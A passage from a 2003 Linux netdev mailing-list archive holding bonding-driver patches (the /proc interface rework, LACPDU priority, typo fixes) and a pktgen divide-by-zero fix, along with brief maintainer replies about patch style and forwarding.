a/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:13 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:14 2003 @@ -545,14 +545,6 @@ static int bond_release(struct net_devic static int bond_release_all(struct net_device *master); static int bond_sethwaddr(struct net_device *master, struct net_device *slave); -/* - * bond_get_info is the interface into the /proc filesystem. This is - * a different interface than the BOND_INFO_QUERY ioctl. That is done - * through the generic networking ioctl interface, and bond_info_query - * is the internal function which provides that information. - */ -static int bond_get_info(char *buf, char **start, off_t offset, int length); - /* Caller must hold bond->ptrlock for write */ static inline struct slave* bond_assign_current_slave(struct bonding *bond,struct slave *newslave) @@ -3337,132 +3329,136 @@ static struct net_device_stats *bond_get return stats; } -static int bond_get_info(char *buf, char **start, off_t offset, int length) +#ifdef CONFIG_PROC_FS +static int bond_read_proc(char *buf, char **start, off_t off, int count, int *eof, void *data) { - bonding_t *bond; + struct bonding *bond = (struct bonding *) data; int len = 0; - off_t begin = 0; u16 link; slave_t *slave = NULL; + /* make sure the bond won't be taken away */ + read_lock(&dev_base_lock); + len += sprintf(buf + len, "%s\n", version); - read_lock(&dev_base_lock); - list_for_each_entry(bond, &bond_dev_list, bond_list) { - /* - * This function locks the mutex, so we can't lock it until - * afterwards - */ - link = bond_check_mii_link(bond); + /* + * This function locks the mutex, so we can't lock it until + * afterwards + */ + link = bond_check_mii_link(bond); - len += sprintf(buf + len, "Bonding Mode: %s\n", - bond_mode_name()); + len += sprintf(buf + len, "Bonding Mode: %s\n", + bond_mode_name()); - if ((bond_mode == BOND_MODE_ACTIVEBACKUP) || - (bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { - read_lock_bh(&bond->lock); - read_lock(&bond->ptrlock); - if (bond->current_slave != NULL) { - len += sprintf(buf + len, - "Currently Active Slave: %s\n", - bond->current_slave->dev->name); - } - read_unlock(&bond->ptrlock); - read_unlock_bh(&bond->lock); + if ((bond_mode == BOND_MODE_ACTIVEBACKUP) || + (bond_mode == BOND_MODE_TLB) || + (bond_mode == BOND_MODE_ALB)) { + read_lock_bh(&bond->lock); + read_lock(&bond->ptrlock); + if (bond->current_slave != NULL) { + len += sprintf(buf + len, + "Currently Active Slave: %s\n", + bond->current_slave->dev->name); } + read_unlock(&bond->ptrlock); + read_unlock_bh(&bond->lock); + } - len += sprintf(buf + len, "MII Status: "); - len += sprintf(buf + len, - link == BMSR_LSTATUS ? "up\n" : "down\n"); - len += sprintf(buf + len, "MII Polling Interval (ms): %d\n", - miimon); - len += sprintf(buf + len, "Up Delay (ms): %d\n", - updelay * miimon); - len += sprintf(buf + len, "Down Delay (ms): %d\n", - downdelay * miimon); - len += sprintf(buf + len, "Multicast Mode: %s\n", - multicast_mode_name()); + len += sprintf(buf + len, "MII Status: "); + len += sprintf(buf + len, + link == BMSR_LSTATUS ? "up\n" : "down\n"); + len += sprintf(buf + len, "MII Polling Interval (ms): %d\n", + miimon); + len += sprintf(buf + len, "Up Delay (ms): %d\n", + updelay * miimon); + len += sprintf(buf + len, "Down Delay (ms): %d\n", + downdelay * miimon); + len += sprintf(buf + len, "Multicast Mode: %s\n", + multicast_mode_name()); - read_lock_bh(&bond->lock); + read_lock_bh(&bond->lock); - if (bond_mode == BOND_MODE_8023AD) { - struct ad_info ad_info; + if (bond_mode == BOND_MODE_8023AD) { + struct ad_info ad_info; - len += sprintf(buf + len, "\n802.3ad info\n"); + len += sprintf(buf + len, "\n802.3ad info\n"); - if (bond_3ad_get_active_agg_info(bond, &ad_info)) { - len += sprintf(buf + len, "bond %s has no active aggregator\n", bond->device->name); - } else { - len += sprintf(buf + len, "Active Aggregator Info:\n"); + if (bond_3ad_get_active_agg_info(bond, &ad_info)) { + len += sprintf(buf + len, "bond %s has no active aggregator\n", bond->device->name); + } else { + len += sprintf(buf + len, "Active Aggregator Info:\n"); - len += sprintf(buf + len, "\tAggregator ID: %d\n", ad_info.aggregator_id); - len += sprintf(buf + len, "\tNumber of ports: %d\n", ad_info.ports); - len += sprintf(buf + len, "\tActor Key: %d\n", ad_info.actor_key); - len += sprintf(buf + len, "\tPartner Key: %d\n", ad_info.partner_key); - len += sprintf(buf + len, "\tPartner Mac Address: %02x:%02x:%02x:%02x:%02x:%02x\n", - ad_info.partner_system[0], - ad_info.partner_system[1], - ad_info.partner_system[2], - ad_info.partner_system[3], - ad_info.partner_system[4], - ad_info.partner_system[5]); - } + len += sprintf(buf + len, "\tAggregator ID: %d\n", ad_info.aggregator_id); + len += sprintf(buf + len, "\tNumber of ports: %d\n", ad_info.ports); + len += sprintf(buf + len, "\tActor Key: %d\n", ad_info.actor_key); + len += sprintf(buf + len, "\tPartner Key: %d\n", ad_info.partner_key); + len += sprintf(buf + len, "\tPartner Mac Address: %02x:%02x:%02x:%02x:%02x:%02x\n", + ad_info.partner_system[0], + ad_info.partner_system[1], + ad_info.partner_system[2], + ad_info.partner_system[3], + ad_info.partner_system[4], + ad_info.partner_system[5]); } + } - for (slave = bond->prev; slave != (slave_t *)bond; - slave = slave->prev) { - len += sprintf(buf + len, "\nSlave Interface: %s\n", slave->dev->name); - - len += sprintf(buf + len, "MII Status: "); - - len += sprintf(buf + len, - slave->link == BOND_LINK_UP ? - "up\n" : "down\n"); - len += sprintf(buf + len, "Link Failure Count: %d\n", - slave->link_failure_count); - - if (app_abi_ver >= 1) { - len += sprintf(buf + len, - "Permanent HW addr: %02x:%02x:%02x:%02x:%02x:%02x\n", - slave->perm_hwaddr[0], - slave->perm_hwaddr[1], - slave->perm_hwaddr[2], - slave->perm_hwaddr[3], - slave->perm_hwaddr[4], - slave->perm_hwaddr[5]); - } + for (slave = bond->prev; slave != (slave_t *)bond; + slave = slave->prev) { + len += sprintf(buf + len, "\nSlave Interface: %s\n", slave->dev->name); - if (bond_mode == BOND_MODE_8023AD) { - struct aggregator *agg = SLAVE_AD_INFO(slave).port.aggregator; + len += sprintf(buf + len, "MII Status: "); - if (agg) { - len += sprintf(buf + len, "Aggregator ID: %d\n", - agg->aggregator_identifier); - } else { - len += sprintf(buf + len, "Aggregator ID: N/A\n"); - } - } - } - read_unlock_bh(&bond->lock); + len += sprintf(buf + len, + slave->link == BOND_LINK_UP ? + "up\n" : "down\n"); + len += sprintf(buf + len, "Link Failure Count: %d\n", + slave->link_failure_count); - /* - * Figure out the calcs for the /proc/net interface - */ - *start = buf + (offset - begin); - len -= (offset - begin); - if (len > length) { - len = length; + if (app_abi_ver >= 1) { + len += sprintf(buf + len, + "Permanent HW addr: %02x:%02x:%02x:%02x:%02x:%02x\n", + slave->perm_hwaddr[0], + slave->perm_hwaddr[1], + slave->perm_hwaddr[2], + slave->perm_hwaddr[3], + slave->perm_hwaddr[4], + slave->perm_hwaddr[5]); } - if (len < 0) { - len = 0; + + if (bond_mode == BOND_MODE_8023AD) { + struct aggregator *agg = SLAVE_AD_INFO(slave).port.aggregator; + + if (agg) { + len += sprintf(buf + len, "Aggregator ID: %d\n", + agg->aggregator_identifier); + } else { + len += sprintf(buf + len, "Aggregator ID: N/A\n"); + } } + } + read_unlock_bh(&bond->lock); + /* + * Figure out the calcs for the /proc/net interface + */ + if (len <= off + count) { + *eof = 1; } + *start = buf + off; + len -= off; + if (len > count) { + len = count; + } + if (len < 0) { + len = 0; + } + read_unlock(&dev_base_lock); return len; } +#endif /* CONFIG_PROC_FS */ static int bond_event(struct notifier_block *this, unsigned long event, void *ptr) @@ -3594,8 +3590,8 @@ static int __init bond_init(struct net_d bond->bond_proc_dir->owner = THIS_MODULE; bond->bond_proc_info_file = - create_proc_info_entry("info", 0, bond->bond_proc_dir, - bond_get_info); + create_proc_read_entry("info", 0, bond->bond_proc_dir, + bond_read_proc, bond); if (bond->bond_proc_info_file == NULL) { printk(KERN_ERR "%s: Cannot init /proc/net/%s/info\n", dev->name, dev->name); From amir.noam@intel.com Thu Sep 4 18:08:56 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:33 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWn014430 for ; Thu, 4 Sep 2003 18:08:56 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84Hfdg00770 for ; Thu, 4 Sep 2003 17:41:39 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84HckL25253 for ; Thu, 4 Sep 2003 17:38:46 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410435422346 ; Thu, 04 Sep 2003 10:43:55 -0700 Content-Type: text/plain; charset="iso-8859-1" From: Amir Noam Subject: [PATCH 1/10] [bonding 2.6] fix 802.3ad long fail over with high UDP Tx stress Date: Thu, 4 Sep 2003 20:43:53 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042043.53654.amir.noam@intel.com> X-MIME-Autoconverted: from 8bit to quoted-printable by hermes.hd.intel.com id h84Hfdg00770 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8518jWn014430 X-archive-position: 5616 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_3ad.c b/drivers/net/bonding/bond_3ad.c --- a/drivers/net/bonding/bond_3ad.c Thu Sep 4 20:17:51 2003 +++ b/drivers/net/bonding/bond_3ad.c Thu Sep 4 20:17:52 2003 @@ -37,6 +37,16 @@ * 2003/05/01 - Shmulik Hen * - Renamed bond_3ad_link_status_changed() to * bond_3ad_handle_link_change() for compatibility with TLB. + * + * 2003/05/20 - Amir Noam + * - Fix long fail over time when releasing last slave of an active + * aggregator - send LACPDU on unbind of slave to tell partner this + * port is no longer aggregatable. + * + * 2003/06/25 - Tsippy Mendelson + * - Send LACPDU as highest priority packet to further fix the above + * problem on very high Tx traffic load where packets may get dropped + * by the slave. */ #include @@ -45,6 +55,7 @@ #include #include #include +#include #include "bonding.h" #include "bond_3ad.h" @@ -905,6 +916,7 @@ static int ad_lacpdu_send(struct port *p skb->mac.raw = skb->data; skb->nh.raw = skb->data + ETH_HLEN; skb->protocol = PKT_TYPE_LACPDU; + skb->priority = TC_PRIO_CONTROL; lacpdu_header = (struct lacpdu_header *)skb_put(skb, length); diff -Nuarp a/drivers/net/bonding/bond_3ad.h b/drivers/net/bonding/bond_3ad.h --- a/drivers/net/bonding/bond_3ad.h Thu Sep 4 20:17:51 2003 +++ b/drivers/net/bonding/bond_3ad.h Thu Sep 4 20:17:52 2003 @@ -165,7 +165,7 @@ typedef struct marker { // = 0x02 (marker response information) u8 marker_length; // = 0x16 u16 requester_port; // The number assigned to the port by the requester - struct mac_addr requester_system; // The requester’s system id + struct mac_addr requester_system; // The requester's system id u32 requester_transaction_id; // The transaction id allocated by the requester, u16 pad; // = 0 u8 tlv_type_terminator; // = 0x00 From amir.noam@intel.com Thu Sep 4 18:08:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 18:09:33 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518jWr014430 for ; Thu, 4 Sep 2003 18:08:58 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.82 2003/09/04 16:03:37 rfjohns1 Exp $) with ESMTP id h84Hhcg02153 for ; Thu, 4 Sep 2003 17:43:38 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h84HejL26575 for ; Thu, 4 Sep 2003 17:40:45 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090410455302787 ; Thu, 04 Sep 2003 10:45:54 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 10/10] [bonding 2.6] misc fixes: missing include, typos, comments Date: Thu, 4 Sep 2003 20:45:53 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309042045.53223.amir.noam@intel.com> X-archive-position: 5615 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/Documentation/networking/ifenslave.c b/Documentation/networking/ifenslave.c --- a/Documentation/networking/ifenslave.c Thu Sep 4 20:18:16 2003 +++ b/Documentation/networking/ifenslave.c Thu Sep 4 20:18:17 2003 @@ -140,6 +140,7 @@ static const char *howto_msg = #include #include #include +#include #include #include #include diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:16 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 4 20:18:17 2003 @@ -278,7 +278,7 @@ * bonding round-robin mode ignoring links after failover/recovery * * 2003/03/17 - Jay Vosburgh - * - kmalloc fix (GPF_KERNEL to GPF_ATOMIC) reported by + * - kmalloc fix (GFP_KERNEL to GFP_ATOMIC) reported by * Shmulik dot Hen at intel.com. * - Based on discussion on mailing list, changed use of * update_slave_cnt(), created wrapper functions for adding/removing @@ -323,22 +323,22 @@ * 2003/03/18 - Amir Noam , * Tsippy Mendelson and * Shmulik Hen - * - Added support for IEEE 802.3ad Dynamic link aggregation mode. + * - Added support for IEEE 802.3ad Dynamic link aggregation mode. * * 2003/05/01 - Amir Noam - * - Added ABI version control to restore compatibility between - * new/old ifenslave and new/old bonding. + * - Added ABI version control to restore compatibility between + * new/old ifenslave and new/old bonding. * * 2003/05/01 - Shmulik Hen - * - Fixed bug in bond_release_all(): save old value of current_slave - * before setting it to NULL. - * - Changed driver versioning scheme to include version number instead - * of release date (that is already in another field). There are 3 - * fields X.Y.Z where: - * X - Major version - big behavior changes - * Y - Minor version - addition of features - * Z - Extra version - minor changes and bug fixes - * The current version is 1.0.0 as a base line. + * - Fixed bug in bond_release_all(): save old value of current_slave + * before setting it to NULL. + * - Changed driver versioning scheme to include version number instead + * of release date (that is already in another field). There are 3 + * fields X.Y.Z where: + * X - Major version - big behavior changes + * Y - Minor version - addition of features + * Z - Extra version - minor changes and bug fixes + * The current version is 1.0.0 as a base line. * * 2003/05/01 - Tsippy Mendelson and * Amir Noam @@ -371,6 +371,43 @@ * - Added support for Adaptive load balancing mode which is * equivalent to Transmit load balancing + Receive load balancing. * new version - 2.2.0 + * + * 2003/05/15 - Jay Vosburgh + * - Applied fix to activebackup_arp_monitor posted to bonding-devel + * by Tony Cureington . Fixes ARP + * monitor endless failover bug. Version to 2.2.10 + * + * 2003/05/20 - Amir Noam + * - Fixed bug in ABI version control - Don't commit to a specific + * ABI version if receiving unsupported ioctl commands. + * + * 2003/05/22 - Jay Vosburgh + * - Fix ifenslave -c causing bond to loose existing routes; + * added bond_set_mac_address() that doesn't require the + * bond to be down. + * - In conjunction with fix for ifenslave -c, in + * bond_change_active(), changing to the already active slave + * is no longer an error (it successfully does nothing). + * + * 2003/06/30 - Amir Noam + * - Fixed bond_change_active() for ALB/TLB modes. + * Version to 2.2.14. + * + * 2003/07/29 - Amir Noam + * - Fixed ARP monitoring bug. + * Version to 2.2.15. + * + * 2003/07/31 - Willy Tarreau + * - Fixed kernel panic when using ARP monitoring without + * setting bond's IP address. + * Version to 2.2.16. + * + * 2003/08/06 - Amir Noam + * - Back port from 2.6: use alloc_netdev(); fix /proc handling; + * made stats a part of bond struct so no need to allocate + * and free it separately; use standard list operations instead + * of pre-allocated array of bonds. + * Version to 2.3.0. */ #include @@ -415,10 +452,10 @@ #include "bond_3ad.h" #include "bond_alb.h" -#define DRV_VERSION "2.2.0" -#define DRV_RELDATE "April 15, 2003" -#define DRV_NAME "bonding" -#define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" +#define DRV_VERSION "2.3.0" +#define DRV_RELDATE "August 6, 2003" +#define DRV_NAME "bonding" +#define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" static const char *version = DRV_NAME ".c:v" DRV_VERSION " (" DRV_RELDATE ")\n"; @@ -474,8 +511,8 @@ static struct bond_parm_tbl bond_mode_tb { "balance-xor", BOND_MODE_XOR}, { "broadcast", BOND_MODE_BROADCAST}, { "802.3ad", BOND_MODE_8023AD}, -{ "tlb", BOND_MODE_TLB}, -{ "alb", BOND_MODE_ALB}, +{ "balance-tlb", BOND_MODE_TLB}, +{ "balance-alb", BOND_MODE_ALB}, { NULL, -1}, }; @@ -505,7 +542,7 @@ MODULE_PARM_DESC(max_bonds, "Max number MODULE_PARM(miimon, "i"); MODULE_PARM_DESC(miimon, "Link check interval in milliseconds"); MODULE_PARM(use_carrier, "i"); -MODULE_PARM_DESC(use_carrier, "Use netif_carrier_ok (vs MII ioctls) in miimon; 09 for off, 1 for on (default)"); +MODULE_PARM_DESC(use_carrier, "Use netif_carrier_ok (vs MII ioctls) in miimon; 0 for off, 1 for on (default)"); MODULE_PARM(mode, "s"); MODULE_PARM_DESC(mode, "Mode of operation : 0 for round robin, 1 for active-backup, 2 for xor"); MODULE_PARM(arp_interval, "i"); @@ -2988,7 +3025,7 @@ static int bond_ioctl(struct net_device } else if (orig_app_abi_ver != app_abi_ver) { printk(KERN_ERR "bonding: Error: already using ifenslave ABI " - "version %d; to upgrade ifenslave to version %d," + "version %d; to upgrade ifenslave to version %d, " "you must first reload bonding.\n", orig_app_abi_ver, app_abi_ver); return -EINVAL; @@ -3601,8 +3638,8 @@ static int __init bond_init(struct net_d bond->bond_proc_info_file->owner = THIS_MODULE; #endif /* CONFIG_PROC_FS */ - list_add_tail(&bond->bond_list, &bond_dev_list); + return 0; } From akpm@osdl.org Thu Sep 4 23:26:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 23:27:00 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h856QPx4002031 for ; Thu, 4 Sep 2003 23:26:26 -0700 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h856QJo05158 for ; Thu, 4 Sep 2003 23:26:19 -0700 Date: Thu, 4 Sep 2003 23:27:13 -0700 From: Andrew Morton To: netdev@oss.sgi.com Subject: Fw: [PATCH] pktgen divides by zero on short runs Message-Id: <20030904232713.7dd4e99f.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5618 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Begin forwarded message: Date: Fri, 5 Sep 2003 01:40:27 -0400 (EDT) From: Najati Imam To: linux-kernel@vger.kernel.org Subject: [PATCH] pktgen divides by zero on short runs On very short runs when computing the packets per second the time that is used can be zero. For small packets this can happen with as many as 100, maybe more, packets. The patch below checks the denominator before dividing and if it is zero puts a notice in the results output that explains why pbs, bps and mbps are all zero, like so Result: OK: 10(c10+d0) usec, 1 (64byte,0frags) 0pps 0Mb/sec (0bps) \ (Time too short to measure) errors: 0 Hope this hasn't already been addressed (it was present in 2.6.0-test4, which is what I generated the patch from), also this is my first submission, so if I did it all wrong, I will accept the appropriate punishment. Najati Imam diff -urN linux-2.6.0-test4/net/core/pktgen.c linux-2.6.0-test4-nri/net/core/pktgen.c --- linux-2.6.0-test4/net/core/pktgen.c 2003-08-22 19:57:49.000000000 -0400 +++ linux-2.6.0-test4-nri/net/core/pktgen.c 2003-09-05 01:15:20.000000000 -0400 @@ -50,6 +50,9 @@ * Fix refcount off by one if first packet fails, potential null deref, * memleak 030710- KJP * + * Check for potential div by zero in the event of a really short send time + * 030905 NRI + * * See Documentation/networking/pktgen.txt for how to use this. */ @@ -720,9 +723,10 @@ { char *p = info->result; - __u64 pps = (__u32)(info->sofar * 1000) / ((__u32)(total) / 1000); + __u32 tt = ((__u32)(total) / 1000); + __u64 pps = (tt) ? (__u32)(info->sofar * 1000) / ((__u32)(total) / 1000) : 0; __u64 bps = pps * 8 * (info->pkt_size + 4); /* take 32bit ethernet CRC into account */ - p += sprintf(p, "OK: %llu(c%llu+d%llu) usec, %llu (%dbyte,%dfrags) %llupps %lluMb/sec (%llubps) errors: %llu", + p += sprintf(p, "OK: %llu(c%llu+d%llu) usec, %llu (%dbyte,%dfrags) %llupps %lluMb/sec (%llubps) %s errors: %llu", (unsigned long long) total, (unsigned long long) (total - idle), (unsigned long long) idle, @@ -732,6 +736,7 @@ (unsigned long long) pps, (unsigned long long) (bps / (u64) 1024 / (u64) 1024), (unsigned long long) bps, + (tt) ? "" : "(Time too short to measure)", (unsigned long long) info->errors ); } - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From davem@pizda.ninka.net Thu Sep 4 23:52:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 23:52:36 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h856pxx4008068 for ; Thu, 4 Sep 2003 23:52:00 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA21778; Thu, 4 Sep 2003 22:58:23 -0700 Date: Thu, 4 Sep 2003 22:58:23 -0700 From: "David S. Miller" To: Andi Kleen Cc: levon@movementarian.org, netdev@oss.sgi.com Subject: Re: [PATCH] remove net/README Message-Id: <20030904225823.68a7b7cd.davem@redhat.com> In-Reply-To: <20030905010725.5ee10cbf.ak@suse.de> References: <20030904145204.GA27953@compsoc.man.ac.uk> <20030904074520.5dceff3e.davem@redhat.com> <20030905010725.5ee10cbf.ak@suse.de> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5619 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 5 Sep 2003 01:07:25 +0200 Andi Kleen wrote: > When you're doing janitor type stuff currently I would also suggest > an update of the NET4 version numbers: I don't think we need to print all this crap out at all. The only reason I really kept it in there was to keep giving credit to the Swansea Computer Society, but Alan indicated that that isn't necessary any more. Really, if someone says they're running kernel x.y.z we know what networking code they're running :) From hch@infradead.org Fri Sep 5 00:11:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 00:12:11 -0700 (PDT) Received: from phoenix.infradead.org (pub234.cambridge.redhat.com [213.86.99.234] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h857Bbx4011390 for ; Fri, 5 Sep 2003 00:11:37 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.22) id 19v9jf-0003ew-6R; Fri, 05 Sep 2003 07:06:19 +0100 Date: Fri, 5 Sep 2003 07:06:19 +0100 From: Christoph Hellwig To: Stephen Hemminger Cc: "David S. Miller" , mike.mclagan@linux.org, Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] (2/8) convert sdla to new initialization Message-ID: <20030905070619.A13947@infradead.org> References: <20030903164925.5c44ce73.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030903164925.5c44ce73.shemminger@osdl.org>; from shemminger@osdl.org on Wed, Sep 03, 2003 at 04:49:25PM -0700 X-archive-position: 5620 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev On Wed, Sep 03, 2003 at 04:49:25PM -0700, Stephen Hemminger wrote: > extern int mac8390_probe(struct net_device *dev); > extern int mac89x0_probe(struct net_device *dev); > extern int mc32_probe(struct net_device *dev); > +#ifdef CONFIG_SDLA > +extern struct net_device *sdla_init(void); > +#endif Please don't add ifdefs around prototypes. From davem@pizda.ninka.net Fri Sep 5 01:26:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 01:27:25 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h858Qhx4028597 for ; Fri, 5 Sep 2003 01:26:44 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA22061; Fri, 5 Sep 2003 01:16:56 -0700 Date: Fri, 5 Sep 2003 01:16:56 -0700 From: "David S. Miller" To: Andrew Morton Cc: netdev@oss.sgi.com Subject: Re: Fw: [PATCH] pktgen divides by zero on short runs Message-Id: <20030905011656.26ac1133.davem@redhat.com> In-Reply-To: <20030904232713.7dd4e99f.akpm@osdl.org> References: <20030904232713.7dd4e99f.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5621 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Andrew, I'm starting to think it's actually your mailer that's changing the tabs to spaces when you forward other people's patches to me or the networking lists. Every forwarded patch you've sent to me or to netdev has had this problem. Can you make the forwarded emails be attachments or similar? I thought sylpheed did that by default :) From jgarzik@pobox.com Fri Sep 5 01:36:17 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 01:36:55 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h858aGx4001067 for ; Fri, 5 Sep 2003 01:36:17 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36276 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19vC4j-00014Y-Kq; Fri, 05 Sep 2003 09:36:14 +0100 Message-ID: <3F584AE6.7070806@pobox.com> Date: Fri, 05 Sep 2003 04:35:50 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Amir Noam CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH 0/10] [bonding 2.6] port 2.4 bug fixes to 2.6 References: <200309042043.25567.amir.noam@intel.com> In-Reply-To: <200309042043.25567.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5622 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Amir Noam wrote: > The following set ports to 2.6 numerous bug fixes that went into > 2.4 recently. Patches apply on 2.6.0-test4. Compile tested only. > > patch1: fix 802.3ad long fail over with high UDP Tx stress > patch2: fix load balance problem with high UDP Tx stress > patch3: fix ARP monitoring bug > patch4: fix kernel panic when optional feature used > patch5: fix change active command > patch6: fix OOPS in bonding driver, when removing primary > patch7: embed stats struct inside bonding private struct > patch8: fix error handling in init code > patch9: make each bond device use its own /proc entry > patch10: misc fixes: missing include, typos, comments Thanks! Looking over and will (probably) apply... Jeff From akpm@osdl.org Fri Sep 5 02:10:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 02:10:59 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h859AJx4009237 for ; Fri, 5 Sep 2003 02:10:20 -0700 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h859A6o01736; Fri, 5 Sep 2003 02:10:06 -0700 Date: Fri, 5 Sep 2003 02:11:01 -0700 From: Andrew Morton To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: Fw: [PATCH] pktgen divides by zero on short runs Message-Id: <20030905021101.6e8b409c.akpm@osdl.org> In-Reply-To: <20030905011656.26ac1133.davem@redhat.com> References: <20030904232713.7dd4e99f.akpm@osdl.org> 